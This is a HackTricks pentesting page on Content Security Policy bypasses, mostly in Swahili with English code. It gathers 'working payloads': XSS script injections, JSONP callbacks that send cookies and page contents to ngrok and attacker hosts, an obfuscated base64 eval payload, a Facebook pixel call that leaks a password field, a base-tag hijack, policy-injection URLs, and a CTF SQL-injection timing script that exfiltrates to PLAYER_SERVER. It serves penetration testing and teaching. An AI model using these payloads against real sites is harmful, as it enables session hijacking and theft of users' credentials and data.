Content Security Policy (CSP) Bypass

Reading time: 31 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

What is CSP

Content Security Policy (CSP) inatambulika kama teknolojia ya kivinjari, hasa inalenga kulinda dhidi ya mashambulizi kama vile cross-site scripting (XSS). Inafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakuliwa kwa usalama na kivinjari. Rasilimali hizi zinajumuisha vipengele mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu upakuaji na utekelezaji wa rasilimali kutoka kwa eneo moja (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa msimbo wa mfuatano kupitia kazi kama eval, setTimeout, au setInterval.

Utekelezaji wa CSP unafanywa kupitia vichwa vya majibu au kwa kuingiza vipengele vya meta kwenye ukurasa wa HTML. Kufuatia sera hii, vivinjari vinatekeleza kwa nguvu masharti haya na mara moja kuzuia uvunjaji wowote ulio gundulika.

  • Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Imewekwa kupitia meta tag:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP inaweza kulazimishwa au kufuatiliwa kwa kutumia vichwa hivi:

  • Content-Security-Policy: Inalazimisha CSP; kivinjari kinazuia ukiukaji wowote.
  • Content-Security-Policy-Report-Only: Inatumika kwa ajili ya kufuatilia; inaripoti ukiukaji bila kuzuia. Inafaa kwa majaribio katika mazingira ya kabla ya uzalishaji.

Defining Resources

CSP inazuia vyanzo vya kupakia maudhui ya kazi na yasiyo ya kazi, ikidhibiti mambo kama utekelezaji wa JavaScript wa ndani na matumizi ya eval(). Sera mfano ni:

bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URLs, scripts za ndani, na scripts zinazotolewa na wakala wa matukio au mitindo ya XSLT.
  • default-src: Inaweka sera ya kawaida ya kupata rasilimali wakati maagizo maalum ya upataji hayapo.
  • child-src: Inaeleza rasilimali zinazoruhusiwa kwa wafanyakazi wa wavuti na maudhui ya fremu zilizojumuishwa.
  • connect-src: Inapunguza URLs ambazo zinaweza kupakuliwa kwa kutumia interfaces kama fetch, WebSocket, XMLHttpRequest.
  • frame-src: Inapunguza URLs za fremu.
  • frame-ancestors: Inaeleza vyanzo gani vinaweza kuingiza ukurasa wa sasa, inatumika kwa vipengele kama <frame>, <iframe>, <object>, <embed>, na <applet>.
  • img-src: Inaeleza vyanzo vinavyoruhusiwa kwa picha.
  • font-src: Inaeleza vyanzo halali kwa fonts zinazopakiwa kwa kutumia @font-face.
  • manifest-src: Inaeleza vyanzo vinavyoruhusiwa vya faili za manifest ya programu.
  • media-src: Inaeleza vyanzo vinavyoruhusiwa kwa kupakia vitu vya media.
  • object-src: Inaeleza vyanzo vinavyoruhusiwa kwa vipengele vya <object>, <embed>, na <applet>.
  • base-uri: Inaeleza URLs zinazoruhusiwa kwa kupakia kwa kutumia vipengele vya <base>.
  • form-action: Inataja maeneo halali kwa ajili ya kuwasilisha fomu.
  • plugin-types: Inapunguza aina za mime ambazo ukurasa unaweza kuitisha.
  • upgrade-insecure-requests: Inawaagiza vivinjari kubadilisha URLs za HTTP kuwa HTTPS.
  • sandbox: Inatumika vizuizi vinavyofanana na sifa ya sandbox ya <iframe>.
  • report-to: Inaeleza kundi ambalo ripoti itatumwa ikiwa sera itavunjwa.
  • worker-src: Inaeleza vyanzo halali kwa scripts za Worker, SharedWorker, au ServiceWorker.
  • prefetch-src: Inaeleza vyanzo halali kwa rasilimali ambazo zitapata au zitapakiwa mapema.
  • navigate-to: Inapunguza URLs ambazo hati inaweza kuhamia kwa njia yoyote (a, fomu, window.location, window.open, nk.)

Sources

  • *: Inaruhusu URLs zote isipokuwa zile zenye mipango ya data:, blob:, filesystem:.
  • 'self': Inaruhusu kupakia kutoka kwenye kikoa sawa.
  • 'data': Inaruhusu rasilimali kupakiwa kupitia mpango wa data (mfano, picha zilizowekwa kwa Base64).
  • 'none': Inazuia kupakia kutoka chanzo chochote.
  • 'unsafe-eval': Inaruhusu matumizi ya eval() na mbinu zinazofanana, haipendekezwi kwa sababu za usalama.
  • 'unsafe-hashes': Inaruhusu wakala maalum wa matukio ya ndani.
  • 'unsafe-inline': Inaruhusu matumizi ya rasilimali za ndani kama <script> au <style> za ndani, haipendekezwi kwa sababu za usalama.
  • 'nonce': Orodha ya kibali kwa scripts maalum za ndani zinazotumia nonce ya kijasusi (nambari inayotumika mara moja).
  • Ikiwa una utekelezaji wa JS ulio na mipaka, inawezekana kupata nonce iliyotumika ndani ya ukurasa kwa doc.defaultView.top.document.querySelector("[nonce]") na kisha kuirudisha ili kupakia script mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haitahitajika), kama ilivyo katika:
Load script reusing nonce
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': Inaruhusu skripti zenye hash maalum ya sha256.
  • 'strict-dynamic': Inaruhusu kupakia skripti kutoka chanzo chochote ikiwa kimeorodheshwa na nonce au hash.
  • 'host': Inaelezea mwenyeji maalum, kama example.com.
  • https:: Inapunguza URL kwa zile zinazotumia HTTPS.
  • blob:: Inaruhusu rasilimali kupakiwa kutoka Blob URLs (mfano, Blob URLs zilizoundwa kupitia JavaScript).
  • filesystem:: Inaruhusu rasilimali kupakiwa kutoka mfumo wa faili.
  • 'report-sample': Inajumuisha sampuli ya msimbo unaovunja sheria katika ripoti ya uvunjaji (inafaa kwa urekebishaji).
  • 'strict-origin': Inafanana na 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo kinalingana na hati (ni vyanzo salama pekee vinaweza kupakia rasilimali kutoka vyanzo salama).
  • 'strict-origin-when-cross-origin': Inatuma URL kamili wakati wa kufanya maombi ya asili moja lakini inatuma asili pekee wakati ombi ni la asili tofauti.
  • 'unsafe-allow-redirects': Inaruhusu rasilimali kupakiwa ambazo zitaelekeza mara moja kwa rasilimali nyingine. Haitashauriwa kwani inadhuru usalama.

Sheria za CSP zisizo salama

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' kupitia Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

Hii haifanyi kazi, kwa maelezo zaidi angalia hii.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Kazi ya payload:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Ikiwa unaweza kwa namna fulani kufanya kodiyako ya JS inayoruhusiwa kuunda tagi mpya ya script katika DOM na kodiyako ya JS, kwa sababu script inayoruhusiwa inaiunda, tagi mpya ya script itaruhusiwa kutekelezwa.

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

Kazi ya payload:

html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Ukosefu wa object-src na default-src

[!CAUTION] > Inaonekana kama hii haitafanya kazi tena

yaml
Content-Security-Policy: script-src 'self' ;

Inafanya kazi payloads:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Upakuaji wa Faili + 'self'

yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;

Ikiwa unaweza kupakia faili la JS unaweza kupita CSP hii:

Payload inayofanya kazi:

html
"/>'><script src="/uploads/picture.png.js"></script>

Hata hivyo, kuna uwezekano mkubwa kwamba seva inafanya uthibitishaji wa faili iliyopakiwa na itaruhusu tu kupakia aina fulani za faili.

Zaidi ya hayo, hata kama ungeweza kupakia kodia ya JS ndani ya faili kwa kutumia kiendelezi kinachokubalika na seva (kama: script.png), hii haitakuwa ya kutosha kwa sababu baadhi ya seva kama seva ya apache huchagua aina ya MIME ya faili kulingana na kiendelezi na vivinjari kama Chrome vitakataa kutekeleza kodia ya Javascript ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa matumaini", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba Apache hajui kiendelezi .wave, kwa hivyo haikihudumu na aina ya MIME kama audio/*.

Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata kiendelezi kilichokosewa, unaweza kujaribu kupakia faili yenye kiendelezi hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot (mfano kadhaa za polyglot hapa).

Form-action

Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kutoa kwa mfano akidi kwa kuingiza hatua ya fomu (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata mfano katika ripoti hii. Pia, zingatia kwamba default-src haifunikii hatua za fomu.

Third Party Endpoints + ('unsafe-eval')

warning

Kwa baadhi ya payload zifuatazo unsafe-eval hata haitahitajika.

yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Pakua toleo lenye udhaifu la angular na uendeleze JS isiyo na mipaka:

xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

tip

Post hii inaonyesha kwamba unaweza kupakia maktaba zote kutoka cdn.cloudflare.com (au repo nyingine yoyote ya maktaba za JS zilizo ruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia ni kazi zipi kutoka kwa maktaba zipi zinazorudisha kitu window.

html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS kutoka kwa jina la darasa:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Kutumia msimbo wa google recaptcha JS

Kulingana na hii CTF writeup unaweza kutumia https://www.google.com/recaptcha/ ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP:

html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Zaidi ya payloads kutoka kwa andiko hili:

html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Kutumia www.google.com kwa ajili ya kuelekeza wazi

URL ifuatayo inaelekeza kwa example.com (kutoka hapa):

https://www.google.com/amp/s/example.com/

Kunyanyaswa *.google.com/script.google.com

Inawezekana kunyanyasa Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika ripoti hii.

Mipangilio ya Tatu + JSONP

http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Mifano kama hii ambapo script-src imewekwa kuwa self na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kufanya XSS, payload inayofanya kazi:

html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee ina viwango vya JSONP vilivyotayarishwa kwa matumizi ya CSP bypass ya tovuti tofauti.

Uthibitisho sawa utaweza kutokea ikiwa kiwango kilichotolewa kina Open Redirect kwa sababu ikiwa kiwango cha awali kinatambulika, redirects zinatambulika.

Matumizi Mabaya ya Vyama vya Tatu

Kama ilivyoelezwa katika post ifuatayo, kuna maeneo mengi ya vyama vya tatu, ambayo yanaweza kuruhusiwa mahali fulani katika CSP, yanaweza kutumika vibaya ili kuhamasisha data au kutekeleza msimbo wa JavaScript. Baadhi ya vyama hivi vya tatu ni:

KituDomain IliyoruhusiwaUwezo
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Ikiwa unapata yoyote ya maeneo yaliyoruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuweza kupita CSP kwa kujiandikisha kwenye huduma ya chama cha tatu na, ama kuhamasisha data kwa huduma hiyo au kutekeleza msimbo.

Kwa mfano, ikiwa unapata CSP ifuatayo:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

au

Content-Security-Policy​: connect-src www.facebook.com;​

Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na Google Analytics/Google Tag Manager. Katika kesi hii, unafuata hatua hizi za jumla:

  1. Unda akaunti ya Mdevelopment ya Facebook hapa.
  2. Unda programu mpya ya "Facebook Login" na uchague "Website".
  3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako.
  4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
  5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
  6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".

Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya mdevelopment ya mshambuliaji na kutoa tukio maalum kama hili:

JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Kuhusu maeneo mengine saba ya tatu yanayoorodheshwa katika jedwali lililotangulia, kuna njia nyingi nyingine ambazo unaweza kuzitumia vibaya. Rejelea blog post iliyotangulia kwa maelezo zaidi kuhusu matumizi mabaya ya wengine wa tatu.

Bypass via RPO (Relative Path Overwrite)

Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye seva zingine.

Kwa mfano, ikiwa CSP inaruhusu njia https://example.com/scripts/react/, inaweza kupitishwa kama ifuatavyo:

html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Brahara hatimaye itapakia https://example.com/scripts/angular/angular.js.

Hii inafanya kazi kwa sababu kwa brahara, unachukua faili inayoitwa ..%2fangular%2fangular.js iliyoko chini ya https://example.com/scripts/react/, ambayo inakubaliana na CSP.

∑, wataifungua, kwa ufanisi wakitafuta https://example.com/scripts/react/../angular/angular.js, ambayo ni sawa na https://example.com/scripts/angular/angular.js.

Kwa kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya brahara na seva, sheria za njia zinaweza kupuuziliwa mbali.

Suluhisho ni kutotreat %2f kama / upande wa seva, kuhakikisha tafsiri inayofanana kati ya brahara na seva ili kuepuka tatizo hili.

Mfano Mtandaoni: https://jsbin.com/werevijewa/edit?html,output

Utekelezaji wa JS wa Iframes

Iframes in XSS, CSP and SOP

kukosekana kwa base-uri

Ikiwa base-uri haipo unaweza kuitumia vibaya ili kufanya dangling markup injection.

Zaidi ya hayo, ikiwa ukurasa unachukua script kwa kutumia njia ya relative (kama <script src="/js/app.js">) kwa kutumia Nonce, unaweza kuitumia base tag ili kufanya iwe pakiwa script kutoka seva yako mwenyewe kufikia XSS.
Ikiwa ukurasa ulio hatarini unachukuliwa na httpS, tumia URL ya httpS katika base.

html
<base href="https://www.attacker.com/" />

Matukio ya AngularJS

Sera maalum inayojulikana kama Content Security Policy (CSP) inaweza kuzuia matukio ya JavaScript. Hata hivyo, AngularJS inatoa matukio ya kawaida kama mbadala. Ndani ya tukio, AngularJS inatoa kitu cha kipekee $event, kinachorejelea kitu cha asili cha tukio la kivinjari. Kitu hiki cha $event kinaweza kutumika kuvunja CSP. Kwa kuzingatia, katika Chrome, kitu cha $event/event kina sifa ya path, ikishikilia orodha ya vitu vilivyohusishwa na mnyororo wa utekelezaji wa tukio, ambapo kitu cha window daima kiko mwishoni. Muundo huu ni muhimu kwa mbinu za kutoroka kwenye sandbox.

Kwa kuelekeza orodha hii kwa chujio cha orderBy, inawezekana kuzunguka juu yake, ikitumia kipengele cha mwisho (kitu cha window) kuanzisha kazi ya kimataifa kama alert(). Kipande cha msimbo kilichoonyeshwa hapa chini kinaelezea mchakato huu:

xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Hii snippet inaonyesha matumizi ya ng-focus directive kuanzisha tukio, ikitumia $event.path|orderBy kubadilisha array ya path, na kutumia objekti ya window kutekeleza kazi ya alert(), hivyo kufichua document.cookie.

Pata bypass nyingine za Angular katika https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS na domain iliyoorodheshwa

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Sera ya CSP inayoruhusu majukwaa kwa ajili ya upakiaji wa script katika programu ya Angular JS inaweza kupuuziliwa mbali kupitia mwito wa kazi za callback na baadhi ya madarasa yenye udhaifu. Taarifa zaidi kuhusu mbinu hii inaweza kupatikana katika mwongozo wa kina unaopatikana kwenye git repository.

Payloads zinazofanya kazi:

html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Other JSONP arbitrary execution endpoints can be found in here (some of them were deleted or fixed)

Bypass via Redirection

Nini hutokea wakati CSP inakutana na uelekezaji wa upande wa seva? Ikiwa uelekezaji unapelekea chanzo tofauti ambacho hakiruhusiwi, bado utafaulu.

Hata hivyo, kulingana na maelezo katika CSP spec 4.2.2.3. Paths and Redirects, ikiwa uelekezaji unapelekea njia tofauti, inaweza kupita vizuizi vya awali.

Here's an example:

html
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Ikiwa CSP imewekwa kwa https://www.google.com/a/b/c/d, kwa kuwa njia inachukuliwa, skripti za /test na /a/test zitazuiliwa na CSP.

Hata hivyo, http://localhost:5555/301 itakuwa imeelekezwa kwenye upande wa seva kwa https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Kwa kuwa ni kuelekezwa, njia haitachukuliwa, na skripti inaweza kupakiwa, hivyo kupita kizuizi cha njia.

Kwa kuelekezwa huku, hata kama njia imeelezwa kikamilifu, bado itapita.

Kwa hivyo, suluhisho bora ni kuhakikisha kwamba tovuti haina udhaifu wowote wa kuelekeza wazi na kwamba hakuna maeneo ambayo yanaweza kutumika katika sheria za CSP.

Pita CSP na alama zisizokamilika

Soma jinsi hapa.

'unsafe-inline'; img-src *; kupitia XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' inamaanisha kwamba unaweza kutekeleza script yoyote ndani ya msimbo (XSS inaweza kutekeleza msimbo) na img-src * inamaanisha kwamba unaweza kutumia picha yoyote kutoka kwa rasilimali yoyote kwenye ukurasa wa wavuti.

Unaweza kupita CSP hii kwa kutolewa kwa data kupitia picha (katika tukio hili XSS inatumia CSRF ambapo ukurasa unaopatikana na bot una SQLi, na kutoa bendera kupitia picha):

javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Unaweza pia kutumia usanidi huu kupakia msimbo wa javascript ulioingizwa ndani ya picha. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza kuunda picha maalum, kuipakia kwenye Twitter na kutumia "unsafe-inline" kutekeleza msimbo wa JS (kama XSS ya kawaida) ambayo it pakia picha, itoa JS kutoka kwake na itekeleze hiyo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Kwa Wafanyakazi wa Huduma

Kazi za wafanyakazi wa huduma importScripts hazipunguzwi na CSP:

Abusing Service Workers

Uingizaji wa Sera

Utafiti: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Ikiwa parameta iliyotumwa na wewe inakua imebandikwa ndani ya tangazo la sera, basi unaweza kubadilisha sera kwa njia fulani inayofanya iwe haina maana. Unaweza kuruhusu script 'unsafe-inline' na mojawapo ya hizi bypasses:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Kwa sababu hii itaandika upya maagizo ya script-src yaliyopo.
Unaweza kupata mfano hapa: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP hii tu: ;_ Edge it ondoa sera nzima.
Mfano: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; kupitia XSS (iframe) - Shambulio la Wakati

Tazama ukosefu wa agizo 'unsafe-inline'
Wakati huu unaweza kumfanya mwathirika paku ukurasa katika udhibiti wako kupitia XSS na <iframe. Wakati huu unataka kumfanya mwathirika aingie kwenye ukurasa ambao unataka kutoa taarifa (CSRF). Huwezi kufikia maudhui ya ukurasa, lakini ikiwa kwa namna fulani unaweza kudhibiti wakati ukurasa unahitaji kupakia unaweza kutoa taarifa unazohitaji.

Wakati huu bendera itachukuliwa, kila wakati herufi inakisiwa kwa usahihi kupitia SQLi jibu linachukua muda zaidi kutokana na kazi ya usingizi. Kisha, utaweza kutoa bendera:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Via Bookmarklets

Shambulio hili litahitaji uhandisi wa kijamii ambapo mshambuliaji anawashawishi watumiaji kuburuta na kuacha kiungo juu ya bookmarklet ya kivinjari. Huu bookmarklet utakuwa na kodhi mbaya ya javascript ambayo itatekelezwa katika muktadha wa dirisha la wavuti la sasa, ikiepuka CSP na kuruhusu kuiba taarifa nyeti kama vile vidakuzi au tokeni.

Kwa maelezo zaidi angalia ripoti ya asili hapa.

CSP bypass by restricting CSP

Katika hii CTF writeup, CSP inakwepa kwa kuingiza ndani ya iframe inayoruhusiwa CSP yenye vizuizi zaidi ambayo ilikataza kupakia faili maalum la JS ambalo, kisha, kupitia prototype pollution au dom clobbering iliruhusu kudhulumu skripti tofauti ili kupakia skripti isiyo na mpangilio.

Unaweza kuzuia CSP ya Iframe kwa kutumia csp sifa:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

Katika hii CTF writeup, ilikuwa inawezekana kupitia HTML injection kuzuia zaidi CSP hivyo script inayozuia CSTI ilizuiliwa na kwa hivyo udhaifu ukawa unatumika.
